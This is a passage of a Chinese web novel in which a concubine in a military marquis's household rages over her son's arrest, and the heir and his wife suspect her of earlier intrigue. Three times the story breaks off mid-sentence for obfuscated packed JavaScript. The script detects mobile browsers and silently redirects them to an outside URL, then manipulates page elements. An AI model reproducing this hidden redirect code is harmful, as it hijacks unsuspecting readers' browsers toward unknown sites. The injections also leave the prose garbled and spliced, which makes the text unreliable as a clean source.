稍有异动或是不服新统领的管教了,上面都不放心,那些有谋略、讲人情的还会想法子收服这些人,那些个只图放心,想要一劳永逸、以绝后患的,就只剩下张罗罪名将他们一网打尽这一条路了。 什么是给执兵者准备的最大、最合适的罪名?那就是谋逆了,这么一闹到头来连他们这些等着荣养的嫡支主家都性命不保。 华家军为守护大恒疆土而生,可是这些个兵将、子弟又何尝不是大恒的子民? 他们也都是无辜的,不到天时地利人和集于一身的时候,不把一切都安排好了,是不能放手的。 何况大恒大部分疆土虽然都已安定,北疆却才刚刚平定,还没有彻底安生下来,还有南疆那么大一个隐患在。 朝廷自己不是没有人马的,可是各种原因算下来,没有哪一支是比府军能打的,他们冒然把人都交出去了,这些人被收归之后只会跟兵部下面的那些人一样,一起颓废、烂掉,这样对大恒真的好吗? 君王不希望大权旁落,可是当今圣上在这一点上还是看得透的,他清楚现在还没到时候,所以在收归几家府军之后,把最能打的这几支都保留了下来。 华家现在要做的就是在彻底安定北疆之后,熬过十年后的南疆之乱,之后平稳过渡,等到那时海晏河清了再交权。 而这些华家军,到时候没了用武之地,索性卸甲归田,重新过回普通人的生活,也就不用担心他们中有谁不习惯、心不服再闹出乱子来连累所有人了。 卜小娘这种人看的只是眼前的利益还有她和华靖和的得失,她看不到这些,她只会指责华靖离。 她不管不顾地撒泼道:“我不管,我只要他好好的。华靖离,你是为华家付出了很多,可是我的靖和呢?他明明是个很好的孩子,也是可塑之才,可是为了留下守业,为了华家,他只能当一个碌碌无为的纨绔!” 第212章防不胜防 卜小娘痛心地控诉着:“若是老侯爷肯向栽培你一样栽培他,他一定不会比你差,你现在好了,战功累累,伤也好了,还娶了尚书千金。” “我的靖和有什么?他什么都没有,还要替你们挡灾,你们还有良心吗?” 这说的都是什么话,好像是华靖离故意让华叶峰不要栽培华靖和似的,长幼有序,华家又有几代人都遵守的规矩在,谁都改变不了。 华靖离倒是没有恼怒,这些话其实不仅卜小娘会说,就是族里的一些堂兄弟也都是说过的,看他有了战功,早早地袭了爵,看似前程不可限量,很多人都会生出嫉妒之心。 这些人才不管前因后果,更不会相信把他们自己放在同样的位子和境遇上,他们能不能达成同样的成就。 华靖离多少觉得有些好笑,他不想跟卜小娘胡搅蛮缠下去,这是他父亲的妾室,说多了也于理不合: “小娘心里有怨,只管对父亲说去,为何靖和会成为府里最小的儿子,你心里也清楚。靖和现在还年轻,他若想去军中历练,等他回来,也还来得及。可是你不能什么都想要,也不能不顾他的意愿。” “小娘要是心里还不平,就该按照你的想法多想想,靖和现在还在元京府衙,你想让他平平安安地出来还得靠我……这段日子府里不太平,有些人还是少惹是生非的好。” 没道理一边要用人家,一边还骂人家,事后还想让人家心甘情愿地捧你儿子的。 卜小娘却一点不觉得自己在惹是生非,她厉声道:“我为靖和进学谋出路有什么错?他们害靖和是他们不对,你们眼看着他被带走,就得把他全须全尾地带回来!” “不然我就……我就进宫去,太后她老人家是不在了,可是还有皇后和太妃,我就要让她们看看华家是怎么不把宫里的人当回事儿的。” “我们这些从宫里出来的旧宫人,哪个的子嗣在夫家不是金尊玉贵的?凭什么我的靖和要被这样对待?你们现在好了,将来封妻荫子,这偌大的钩翊侯府,哪里还有我们母子的立锥之地。太后啊,您老人家快来看看,我的命怎么就这么苦……” 卜小娘索性靠在太平缸上滑坐到地上,撒起泼来,她这么一个一向重视仪态的人,这时候竟然不顾仪容地哭嚎起来。 她这副样子把华靖离和夏明嫣都吓了一跳,二人对视了一下,都在对方眼中看到了不解。 元京府来拿人,又是疑案,华靖和说的那些都只是他自己的供述,并没有实证。 当然元京府衙那边的证据也都是移花接木地诬陷的,可不管怎么说,假的证据也是证据,人家的东西比你的扎实,律法又站在人家那边,你就得先跟着去了。 这种事儿华靖离再有本事也不能阻止,他只能之后设法转圜,要是一上来就不让元京府拿人,那就违法律法了。御史一道折子参上去,刚好给了有心人借口,说不定华家从上到下都得查下去。 要是放在上辈子的这个时候,华靖离或许还能说他们华家不怕查,可是现在却不行。 侯府没有大问题不意味着别的地方没有,查出来了,就是哪个旁支的亲戚甚至是得脸的家奴做了恶,都得算到他们头上。简直防不胜防,华家需要时间进行一场从上到下的自查! 况且刚才卜小娘虽然舍不得华靖和,事情说清楚了之后,两边书吏也都记录在案了,她也没有阻拦那些人带走华靖和,这会儿却又返回头来找后账了。 “谋出路也要量力而行,小娘若是不信可以去打听打听,进了御青书院终选的那些人,哪个不是经年累月往这条路上笨的,又有几个是完全没有功名的?” “家里不让靖和走位列人臣的这条路,可没说不让他考功名,可是他呢,可曾去科考,可有有功名?别说他有画才,你推他上去的可不知道他有这样的才具。” 华靖离理解一个母亲怎么都看自己儿子好的这份儿心,可也不能好到没边儿啊,华靖和现在还没闯出什么名堂,在卜小娘这儿,仿佛他都成了画坛新秀和未来的文坛惊世之才了。 不说别人,就看看李玦,说李玦是个绣花枕头,说的是他远没有他在外面表现得那么强,是跟能跟他争的人对比的,但其实他之前有秀才功名,之后中举也是不成问题的,只是跟那些已经中了进士的人比,差了许多而已。 而华靖和却是个千真万确的白身,就连他在作画上的那点天赋,也还有待磨练,更是需要名家和世人的认可,这中间的变数多了去了,将来能不能再闯出更大的名头都是未知数。 华靖和的那些画被翻出来之后之所以能在元京名噪一时,除了有夏明月和楚家在背后推波助澜,力图让他登高跌中,再有就是因为反差大。 从前看起来除了教养不错其他一无是处的翩翩公子,原来原来还有这样的本事……人们是因为看到了这样的反差,才会把他看得更好了,并不是因为他本身就比旁人好太多。 卜小娘把华靖和推到擢选上,这就相当于说一些人德不配位了,现在却想要华靖离把这件事认下来,说是他在朝堂上的事儿波及到了华靖和,想要看华靖离和华家如何补偿, “说到宫里赏赐下来的旧宫人,小娘只看到了好的,没看到不好的,这些年小娘恐怕也没跟几个这样的人往来了吧?” “这好的要比,差的自然也要比,你看看跟你年纪差不多的那些个宫人还有几个在世的?还有她们的子嗣是如何金尊玉贵的?不过是富养着将来有份家业罢了。” “靖和从小大,父亲、母亲可有短了他的吃穿用度?可有对他苛求什么?可有将他置于险地?小娘你一心想要的厚待,真要给了你们,就一定能保证能落到靖和手里吗?” 宫中给文武大臣赐婚自古有之,可是除了那等展露头角时年纪还很小的,大部分到了能走到御前的时候都已经成亲了,因此这些个赐下来的宫人好多都是妾室。 第213章得陇望蜀 这些人进了各个高门之后其实过得好的并不多,主要还是因为她们的身份遭人忌惮,内宅的妇人们虽然尊重她们,却也排斥她们。各自的丈夫担心她们是宫里的眼线,跟她们又隔着一层。 这些人在赐婚之后能真正融入内宅的少之又少,大部分要么早早的香消玉殒,要么之后只是得了个空头的尊重,府里衣食不缺的养着,也不可待,但就是让她们做冷板凳。 而她们的子嗣要是女儿,反而依托着宫里的规矩和名声高嫁些,要是儿子多数就是做个富家公子,不管有没有功名,都大体是做过闲散的富家瓮罢了。 不信你去翻翻朝廷现有这些人的家世录,看看有谁的生母是宫里出来的宫人? 卜小娘能有今天,其实已经是华家厚待她了,不过这也是因为董氏从前跟着华叶峰屯垦,过得像个乡绅家的主母,不擅长也不乐于内宅争斗所致。 再还有,华家只留一个小儿子守业,其余的都是年纪轻轻就去征战了,这些子弟有的未留下子嗣便已马革裹尸,就算有子嗣的,因为长年不在家里,也大多子嗣单薄。 拿华靖离来说,前世他就没有子嗣,这一世即便不考虑南疆之乱等种种波折,即便他跟夏明嫣生了三五个孩子,也得拿出至少三成的家财给华靖和。 要是他们两个没有子嗣,或是只有一两个孩子,而这两个孩子中的男丁到了年纪也是要到军中效力的,那么华靖和还会拿得更多。 这是华家为了保证家族子弟既能效死疆场又能传承下去定下的规矩,按照这个规矩,甚至有几代留在家里的守业小儿子得到了全部家资和爵位的……这里面就包括华叶峰。 华叶峰就是前头的兄长都战死了,留下的子嗣除了一个如今还活着在北疆效力的其余的全没了,正因为如此,华叶峰从来不以自己是钩翊侯自居。 因为华叶峰太清楚他这个爵位是怎么来的了,那是踩在华家人的尸骨上得来的,他是守业的,看着庸碌无为、令人嘲笑,可是最终那些个去了的人挣下的功劳都归了他了。 华靖和也很清楚这一点,华靖离今天拥有的一切都是他自己用命换来的,他没有理由去嫉妒。就算将来华靖离和夏明嫣子孙满堂了,能分给他的只有三成,他都觉得多了。 要是没有华靖离和那位在军中的堂兄在前面挡着,哪里有华家今日拥有的一切?就算有了,没有人在前头撑腰,也守不住这份家业。 华靖和对自己的认知非常清醒,就是给他个机会到军中去,他也没有华靖离的本事,他甚至连华叶峰屯田、打理家事的本事都没有,他在这个家里,就是个文弱的小废物…… 卜小娘却不这么看,在她心里华靖和吃了大亏了,尤其是这回受了连累,华靖离就该拿出全部补偿华靖和才是。 就说眼前,她想的不光是能把华靖和救出来、洗刷冤屈,她还想华靖离能够出手把华靖和捧起来,就像楚家捧李玦那样。 她的想法也不是全都是错的,就算华靖和将来不缺家财,这些也都是华家和华靖离给的。 别人不知道,他们这些自己人还是知道的,华靖离的身子很可能就这么好起来了,华靖和要想等到继承华家,那得是很多年以后的事。 而且华叶峰能够袭爵是因为他前头的兄长都死在了北疆,可他的的爵位是从他父亲那儿承袭的,可华靖和是华靖离的弟弟,不是儿子,朝廷又在极力削减他们这些军侯府,华靖和又没有军功,他将来能袭爵的可能性微乎其微。 这种情况下,不能一昧地等着别人赐予,他自己得争取,手里面得有自己的东西才行,他要是真进了御青书院,回头再有了功名,哪怕找个闲差先做着,或是做个小吏,之后也能有更多机会不是? 卜小娘犹自不死心,抹着眼泪道:“是,他没有功名,读书也没有往科举上奔。可正因为如此才要去学啊,去御青书院不就是最好的机会吗?” “在那儿他可以好好读书,拜最有名望的师父,结交的都是很有才华的同窗,他读上两年就去科考,将来还能多很多人帮衬,难道不好吗?他要是好了,你这个做兄长的肩上的担子也轻了,对你也好啊。” “你可不可以快点让他出来?恢复他的声誉,这样他还能赶得上终选,你好了之后还没进宫向陛下谢恩,你进宫的时候,只要替靖和美言几句,只要圣上能夸他一句半句的,他就还有机会被选上啊。” 卜小娘活了半辈子,都到这把年纪了,还没跳出“皇宫”这个圈儿,她还在想着能够依靠皇帝的金口玉言一锤定音。 这御青书院并不是什么出尘脱俗的存在,相反的里面至少有半数学子最终会效命于朝廷,这样的话御青书院就不考虑朝廷尤其是皇帝的意思。 要是圣上说华靖和好,华靖和不好也是好的,就算终选里正式的名额轮不到他,之后还有旁听的名额总能给他一个。要是还不能,华靖和去其他好的书院也是大有可能的。 这次的事儿也让卜小娘看清楚了,不能再放任华靖和这么闲散下去了,之后得有书院管着他,还得快点儿娶妻生子,这样才能安定下来。 “简直无药可救,爱怎么样就怎么样吧。” 华靖离听了这些话,差点儿就要骂出来了,可对方毕竟是卜小娘,他的庶母,他不好再说什么,只能转身拂袖而去。 卜小娘很快收住眼泪,扶着太平缸的壁就爬了起来,她快速地将散了的鬓发掖在耳后,还想要追上去。 华靖离转身离去的时候,夏明嫣就没动,卜小娘追过来的时候,她直接往旁边跨了一步挡在了去路上。 夏明嫣淡淡地笑了笑:“小娘留步,你再追上去也没有用,因为能做的我和侯爷都已经做了,能做却还没到时候做的,我们之后也会做。” “你这般撒泼痴缠,反倒是耽误了救二弟的时间,之后二弟知道了,也会难堪的。” 第214章多想跟他换一换 夏明嫣拦着卜小娘,微微冷笑了一下:“要我说卜小娘当真算得上命好的,碰上我婆母这样直性子还生性良善的主母。不说别的,你一直在说二弟因为是守业的老儿子这些年吃了多少亏。” “你可别忘了,公公曾经也是守业的老儿子,他是怎么守业的?那是要在老家和封地带着人种地、押粮的。要是婆母对你认真起来,把你们母子都打发回去,你又能怎样呢?” “再说几句有违大局、不该说的话,虽说家里定了由二弟守业,可这就是几句话的事儿,二弟人在元京,在外面自己能置办下画室来,还将自己的画技瞒得这般好。” “你怎么就不想想,他若是有心功名,他把书读得好好的,文章也做好了,来个一鸣惊人。老爷和夫人是能拦住朝廷不给他功名,还是能拦住哪个衙门口赏识了他去……有句话叫做木已成舟,这么多年了,二弟怎么就没有来这么一下子呢?” 华靖和也不小了,要是他期待着自己能有所作为,自己在外面闯出名堂了,谁都拦不住他。 到时候华家只能认命,把他分出去单过,然后再从族中过继其他子嗣给钩翊侯府守业。 卜小娘愣了一下,在她看来要不是华家给华靖和安排了这条路,华靖和一定可以大有作为的: “你胡说,靖和他从小乖顺,家里不让他做的他从来不去做。那些画啊什么的,就是个玩意儿,跟科举无关,他才使了回性子。” “明明是这个家框住了他,难道现在就要不认账了吗?老儿子要留下守业,就该什么作为都没有吗?老侯爷……他起码还能去屯垦,夫人和老爷没送他过去,是偏心侯爷,不是为了照顾靖和。” 父母疼爱子孙的方式有很多种,有些为了让孩子将来大有作为,早早地就将孩子送去历练。 有的觉得孩子将来左右没有什么大作为了,索性就不要他经历多少风雨了,就让他这样富贵、安稳地过下去也很好。 华叶峰自己经历了兄长陆续战亡的惨痛过往,若非万不得已,他内心里希望他的子孙后代都能有一个安稳的将来,哪怕这种将来少一些富贵和权势。 当个富家瓮,平平安安地寿终正寝,在他心里就是最好的选择了。他不是不疼爱华靖离,那是没办法,身为他的长子,他必须要过上刀口舔血、随时可能有去无回的日子。 可是华靖和不一样,他可以选择,那就选择这条路吧……而且华靖和从小到大并没有在哪一个方面表现出太大的天赋和期望,这么选择不是很正常吗? 夏明嫣看了看卜小娘,目光越来越冷:“如果可以选择,我多希望我的夫君可以跟二弟缓一缓,可是命运这种东西没有如果。” “小娘,平安是福,二弟这次是一定可以回来的。这不仅意味着他会没事,也意味着他还得在这个家里过活。二弟是个很容易相处的人,你可不要因为自己所谓的爱子心切连累了他。” “这些年他自己也没有上进的举动,无外乎出于两个原因,要么他力有不逮,他做不到,要么就是他不想那样做。他渴望着跟兄长交好,渴望着这府里的人能够和睦。” “对你,他何尝没有想过,他要是能表现得更好一点,更和父兄、嫡母的心意,你是不是也能过得好一些。可是你呢,你设身处地地为他着想过吗?” 她顿了顿,抬眼时目光中就多了些寒芒,“你什么都想要,想要富贵、权势,又想要二弟平平安安的,不能出一点岔子。” “世上哪儿这样的好事,就算有也轮不到他,轮不到华家的男人。华家是武勋世家,要出头他就得去拼命。若是他想去科考,想要以文官入仕,可以,可是华家给不了他楚家那样的根基和支持。” “他要走这条路,就得靠他自己摸爬滚打,明枪暗箭都会朝他招呼过去,到时候他受了伤,甚至像今天一样下了大禹,小娘你可舍得?” “你不能只想着这条路走成了有多好,你还得想想这种万中全一的路走起来有多难,他摔下来会摔得多重。就像小娘这样心疼儿子,怕是二弟破了一点油皮,你都要心疼地到处嚷嚷了吧……” 夏明嫣说完转身去追华靖离了,这儿已经离止戈园很近了,卜小娘就算追上来也会被小厮拦住。 华靖离之前实在忍不住了,顾不上这到底是他的庶母,直接拂袖而去。从他的角度来看,应该很难想像得到卜小娘有这些想法。 华靖和不适合习武,这是他自己的意愿也是身体底子决定的,就算他不是华叶峰最小的儿子,他也走不了华靖离这条路。 可是走文臣这条路,不仅是因为华家不能文武双绝遭人忌惮,还有一点非常关键,就是华家在这条路上根本就没有积累。 就好比楚家,三代都是文臣,再往上也是旧朝的文臣和书香门第,他们的子弟该何时拜师、拜谁为师、什么时候去科考、考上了怎样、考不上又怎样……他们已经形成了属于他们自己的解决这些问题的模式。 包括子弟入仕之后,由谁引代、谁是座师、出了事儿了该怎么善后……他们都积累了自己的势力和人脉,这些往往是至少三代以上积累下来的,绝不是一蹴而就的。 在这种模式下养大的子弟,纵使资质平庸,只要不是差到没边儿的,最后功名往往都至少是个举人,差事上至少能做个七品、八品的小官,再要么就能进翰林院或是书院治学去,换份体面。 就好比楚家这一代的两个儿子就属于资质一般倒也中规中矩的,有阖族势力帮衬着,现在也都有五品了,其中一个这两年很可能还能升到四品。 要是华靖和走这条路就不一样了,他不仅得到不到多少家族的帮衬,还会因为朝野对华家的忌惮平白地遭不少罪,他当真能受得了吗? 第215章不知足,自己挣去! 文臣跟武将比起来,那也不见得就安全了。 武将,除了像华靖离上一世那样被人直接害死的,多数是战死或是落下伤病了之后久病而亡,再有就是自己干了什么,比如抗旨了,才掉了脑袋的。总归,这种危险还比较好找到原因。 文臣,那可就不一定了,谁整了你,或是涉及到什么争斗了,很多时候天南地北的几个人都能死一块儿去。 华家不通此道,华靖和就得自己摸索,可能没有等到上位就已经折戟沉沙了,就算他侥幸熬上去了,也很难长久。 就拿夏庸来说,他没有才华吗?当然有,不还是得依靠娶了楚氏,靠着岳家的势力往上爬? 卜小娘要是有一个楚氏这样的儿媳妇,她就不觉得华靖和活得憋屈了?她就能受得儿媳妇的气了?到时候又要抱怨华靖和的妻子不孝顺还不体贴了。 再还有楚家,连着两代都是相府门庭,那又如何,楚霆孝现在为了平安致仕,还不是小心翼翼地跟各方势力周旋着? 换了华靖和上去,今天这点牢狱之灾根本就不算什么了,说不定哪天被流放了甚至命都丢了也未可知。 卜小娘就是把所有事儿都想得太好了,她只想要华靖和上位后的尊荣富贵,根本就不想承担风险。 夏明嫣追了一会儿,竟然在止戈园门口碰见了站那儿等她的华靖离,看他的神情,他那股子气应该已经淡了。 夏明嫣上去便挽住他,笑得暖暖地看着他:“侯爷别气了,卜小娘前头在宫里的时候把脾性养坏了,以为能仗着自己的宫人出身吃一辈子,说到底还是没见识、没眼界导致的。” “不过今儿也怪了,她平时最是重规矩和仪态的,今日竟然能拉着你撒泼。二弟还在元京府没回来了,她怎么就敢得罪你了?” 华靖离重重地哼了一声:“上一世没有这段,当然,那时靖和也跟御青书院一点儿关系都没有。可就是到我**,卜小娘也没这样过。” “你仔细想想,你我身上发生了什么变化了?什么事儿能逼急了她?她可不傻,她就是想趁现在要你我一个承诺。” “承诺?还是你我,不是一个的?” 夏明嫣琢磨起来,她能承诺给卜小娘什么?这一世她最大的变化就是她嫁给了华靖离,可是对于卜小娘来说,无论华靖离娶谁,对她的区别都不大。 最大的变化应该是华靖离康复了,华靖离现在的样子看起来就是好了的,骗李玦和夏明月那些暗地里都是暗伤随时可能复发的话,至少不是每个人都相信,就是信了多半也是将信将疑而已。 至少在卜小娘眼里华靖离是完全好了,再养些时日恐怕都能恢复如初了,那么…… “难不成她想着我们之后就会有孩子了,她担心二弟这个守业小儿子的位子也保不住了?” “应该就是如此。”华靖离冷呵一声,“尤其你还答应我母亲给我纳妾,这还愁子嗣么?” 要是纳了妾,这庶子可能都不愁了,正好留一个守业。 华家守业之说,若是当时的军侯已有子嗣,只要男丁超过两个,就可以留一个守业,这军侯原本用来守业的兄弟也就用不上了。 华靖离想到夏明嫣上一世跟卜小娘毫无交集,叹了口气,为她解释道, “她说靖和是受了我的连累才被人陷害了,就是想让我愧疚,或者借着我就该愧疚的名头,让我保证靖和不仅会没事,还会前程似锦。” “不过这不是主要的,刚才你我都没有退让,有些话她便没有说下去。上辈子她倒是没这么闹过,但是通过父亲来找我要过话。” “那时候母亲给我纳了妾要跟夏明月打擂台,她便以为我不会缺子嗣了,就让父亲来跟我说,说能不能给一句话,即便我有了子嗣,也还让靖和做这个守业的。” “不过那时候情况不一样,已经是我出征南疆评叛之前的事儿了,靖和还没这一世出息,大概她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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儿孙好的,基础他们做父母的给打下了,之后的都能挣来,也能守得住。 儿孙不好,给的再多也得人散财散,说不定还会招来更多的嫉恨和**,倒不如中庸一点了。 只是……夏明嫣想到了一件事,这件事从卜小娘甚至是华叶峰、董氏的角度来看,确实是他们理亏。 第216章私情 因为明眼人都看得出来华靖和今日有此一遭,主要还是受了华靖离的连累,而且在这些人眼中,他们对华景和是有责任的。 从前不觉得华靖离这个兄长失职,是因为他长年不在府中,现在他回来了,从前积累的问题就都爆发了。 而这件事上他们的责任的确不小,当初为了快点把隐藏在背后的人引出来,是他们一起决定加大人手看着吕家从而反过来引起了夏明月的注意,让她觉得自己有机可乘的。 如果不是他们安排在线,夏明月很可能会找另一件事生事儿,未必就能把华靖和折腾进元京府大牢里。 华叶峰、董氏还好,他们能体谅华靖离的不容易,尤其华叶峰不是个宠妾灭妻的,两个儿子里若非让他选一个不可,他选的一定是华靖离。董氏就更不必说了,华靖离是她唯一亲生的孩儿。 问题就在于卜小娘,她原本就恨华靖离挡了华靖和的路了,现在又碰上这么一桩事,更是要把华靖离恨到骨子里了,那么下一步她会做什么? 还有上一世,卜小娘定是也恨华靖离的,那时华靖离保住了性命,身上到处都是暗伤,可是卜小娘不会去想华靖离多不容易,甚至他那副样子一看寿数就不会长了,这些她都不会体谅。 她看到华靖离还能上马,还能南疆,心里一定很担心他其实已经完全好了吧?那样的话,他是不是也会担心他留下孩儿跟华靖和分华家? 这世上有很多事儿坏就坏在一个“万一”上面,尤其是遇到大事儿了,少不得要把这个“万一”想得严重些。 卜小娘看着华靖离没了性命之忧,之后一活就是十年,还去了南疆,大概会以为他的伤好不了是装的吧? 夏明嫣看了看华靖离,有些为难又尴尬地道:“有个问题我想过很多次了,上辈子的时候夏明月是怎么搭上孙允斌的?” “她后来能跟李玦旧情复燃,是因为她被关在家庙。那时候华家都在忙你的事,听说二弟的妾室也有了身孕,你出征南疆之前又向她提议和离,甚至留下了给她另外置办的嫁妆。” “整个华家应是以为她翻不出什么风浪了,你回来怎么也得有个三年五载的,拖的日子久了,以她的性子定然同意改嫁,这事儿便了了,府里的人也就对家庙那边放松了警惕。” “她这才有机会跟李玦旧情复燃,可是前头这个孙允斌又是怎么回事?那时候夏明月才刚嫁进侯府一年多,大家都还没觉得你们之间就是死局了,她身边服侍的人定是不少。” “我也没听说她常去府外做什么,她好好地待在府里,是如何认识孙允斌,还跟他有了私情的?我在想,这件事跟卜小娘会不会有关系……” 之所以这么怀疑,是因为时间点卡得太好了,再者说卜小娘这样的人不可能坐以待毙,什么都不做。 前世也是这个时候传来华靖离已无性命之忧的消息的,也是在这个时候董氏开始给华靖离纳妾的。 那时候楚氏还请董氏吃过茶,为的就是保住夏明月的地位,楚氏回夏家时还说,董氏向她保证了,只要夏明月能有孩子,无论男女,华家一定厚待,而且无论是谁都越不过嫡出的子女去。 楚氏还劝过夏明月,别理会什么脸上有伤,只要她能生个孩子,再把孩子养住了,华家看在夏、楚两家的颜面上定然会对她的事儿睁一只眼闭一只眼的。 只要她夏明月有了孩子,哪怕只有一个女儿,承袭不了爵位也能招赘分家财,等到那时候她还不是爱怎么过就怎么过? 董氏回去之后定是有段时间一直在劝着夏明月去亲近华靖离的,不仅是劝,想必是边劝还边给好处的。 这样以来,卜小娘会怎么想,她定是要想董氏给华靖离纳了这么多个妾室,他的身子定是已经大好了,这是要赶紧留下子嗣呢。 不过这些妾室生下的孩子都是庶出,这一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432193|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并不比华靖和高贵,尚且不足为惧,关键是要是夏明月想通了,一咬牙,一跺脚,真的生出个嫡子嫡女可怎么办? 夏明嫣继续道,“即便华家有守业的规矩在,即便那时二弟还是继人,你一旦有了嫡子,这爵位先就要落到嫡子头上了。” “爵位都落了,家财上恐怕也要分得不少,这孩子的外家是夏家,还是楚相爷的曾外孙,华家的规矩再大,恐怕也不能完全不考虑这层关系吧?” “到时候恐怕无论是爵位还是钱财,就都得落在你跟夏明月的子孙身上了。” 即便只有一个嫡女,将来走招赘的路,也无法继承爵位,可是嫡女若是有子,姓了华了,家财却是少不了要分大头的,卜小娘能眼睁睁地看着这样的事发生吗? 这种时候最直接的方法就是破坏华靖离和夏明月的关系,华靖离这边不好下手,而且不用下手他都对夏明月没好感,都已经下决心和离了。 可是夏明月却是个左右摇摆不确定的因素,她这个人既要情,又要富贵和权势,她一方面看见华靖离伤了的半张脸就避之如瘟疫,一方面又舍不得钩翊侯夫人的位子。 她那时候下不了决心和离,就是因为李玦那时候还有正室邓澜,根本娶不了她,再有就是李玦那时还没袭爵。 她即便能够顺利改嫁给李玦,她也不过是一个世子夫人,而且还可能永远都是一个成不了侯夫人的世子夫人。 华靖离皱眉:“不是没有可能,府上守卫严谨,女眷外出也是侍女、护卫左三层又三层地围着,要是没有福利的人牵线搭桥,她不可能跟孙允斌有太多往来。” “我还想起一件事,上辈子孙允斌是李玦介绍给我认识的,因为我身边缺一个文墨好的粮饷监军,便将他引到了军中,那时候我看过他的家世录和履历。” “他生母早逝,亲生父亲虽然看起来是一个商贾,严格来算,却是外戚远宗。” 第217章两条线汇聚 华靖离回想起那时的情景:“说来也是有趣,他初见我和李玦时并没有透露他是外戚远宗这层关系,还是要带他进华家军时,我谨慎了一下,命人去查的。” “之前他只说他的亲生父亲是当地一个有些名望的商贾,祖上出个官身,所以比一般的商贾强些,可以算得上是乡绅。他父亲过世时,给他留了一笔资财,嘱咐他要办好一件事。” “这事儿倒也正常,大致就是说他父亲是连病带气过世的,这气是被同族以为做官的叔伯气出来的,那人看不起商贾,占了他们家的钱财和生意上的人脉为己所用,被揭穿之后,还拒不归还。” “为此他父亲临终前便说让他拿着这笔银子到元京来捐个官,那时他跟李玦已经是莫逆之交了,别人不知道,李玦自己却知道,他很快就能袭爵了。” 说到李玦袭爵,夏明嫣的表情有些讪讪的,这事儿前世她也出力不少,不成想就是这个时候李玦跟孙允斌臭味相投还越走越近了。 华靖离看出了她在想什么,等到他们回了房,就先安顿她坐下,为了让她别那么纠结,还塞了个桔子给她, “那时候他又通过李玦结实了我,我们一听他是要捐官的,他那点儿银子在元京能捐上一个从九品的小吏都不错了,有了我们的支持,他倒也不必花这冤枉钱了,就先让他在华家军元京的官署里做事。” “这中间他也曾替我去过北疆,不过他在元京处理得明白的事,到了北疆是一点都弄不明白了,好在因着有一回给前军报信及时,他倒是实打实地立了一个不小的功劳。” 虽是如此,可是一个人在一个方面其他的事儿干啥啥不行,单单就一件事儿成了,这里面偶然的东西就太多了。 孙允斌这样惯会投机的聪明人定然不会走这条碰运气的路,再那样下去,能不能再碰上一次立功的机会不知道,倒是遇上丢命的机会可能性比较大。 孙允斌回了元京之后自己就怕了,李玦跟孙允斌也是结义兄弟,虽说孙允斌没能跟华靖离结义,可是外面的人都因着李玦的这层关系说孙允斌是华靖离的三弟。 有了这层关系在,华靖离也不敢再让孙允斌往华家军里掺合了,好在孙允斌也是这个意思,三人一合计,还是重新走上捐官这条路。 孙允斌本身有秀才功名在身,原本不算很多的钱财加上这次立功得到的朝廷赏赐已经够捐一个从七品的官了,再有李玦和华靖离的帮助,他很快就成为了工部的一名书吏。 之后又过了两三年,不知道他是怎么搭上太子谢维的,他就成为了一名东宫舍人,直接晋身从五品。 搭上谢维这件事别说华靖离了,就是李玦当初也很意外,完全没想到孙允斌还有这么大的本事,还瞒着他运作下来了。 夏明嫣想了想,问道:“这么说起来,他既然有心奔着东宫去,就是一个追求权势还希望跟皇族结交的人,他为何还要隐瞒自己是外戚远宗的出身呢?” 能名正言顺称得上外戚的,要么是太后、皇后的族人,要么也得是个贵妃或者宠妃的族人,只要不是家里落了大罪了,都不至于故意隐瞒。 孙允斌这个人上辈子夏明嫣见过好几回,他之所以能跟李玦沆瀣一气,有很大的一个原因是他跟李玦是同一种人。 不止是两个人品行上相似,这两个人都喜爱追求外面上的风雅。 就像李玦在元京被称为冠玉公子,而这孙允斌也不遑多让。别看他前头混得不如意,可在后面上杆子资助他、给他送吃送喝的姑娘家可从来没断过。 这种情况下,外戚的身份是能抬高他的身价的,尤其是他的生父是商贾,若是说起祖上也是外戚,是后妃亲族,还能往脸上贴金,祛祛身上的铜臭之气。 可孙允斌偏偏不说,难不成是因为心虚? “你是不是想问他隐瞒出身会不会跟卜小娘有关系?要不是你刚刚提醒我,我还真想不到这一层去。你猜他这个外戚远宗的血脉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15440107|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是从谁身上来的?”华靖离卖了个关子。 夏明嫣略微一想就有了猜测:“卜小娘是先太后身边的宫女,难不成这个孙允斌是先太后那边的亲戚?” 华靖离严重露出赞赏,跟她说话真是半点儿不用费劲儿的:“他那个经商的父亲,恰恰就是西安太后的表弟。如果上辈子他当真跟卜小娘勾结在一起,很可能就是通过这层血脉搭上的。” 这里面就可以做很多猜想了,那时候的李玦忙着自己袭爵,闲时还要在端侯府孝顺母亲、跟亲戚相处,怎么就跟一个连官都没捐上的孙允斌结交上了? 这里面很可能有人在推波助澜,卜小娘原本是和李玦没有关系,可要是李玦想打听夏明月的消息,他会找谁?整个华家铁桶似的,能主动往外传消息的内贼很可能就是卜小娘。 而孙允斌刚到元京捐官的时候也是要找关系的,他能找的最大的关系就是先太后的后人。 只是从后来的情况来看,人家那真正的后人很可能根本就没搭理他,但是他上门了,有心人看到了,就有可能把这消息传到卜小娘耳朵里。 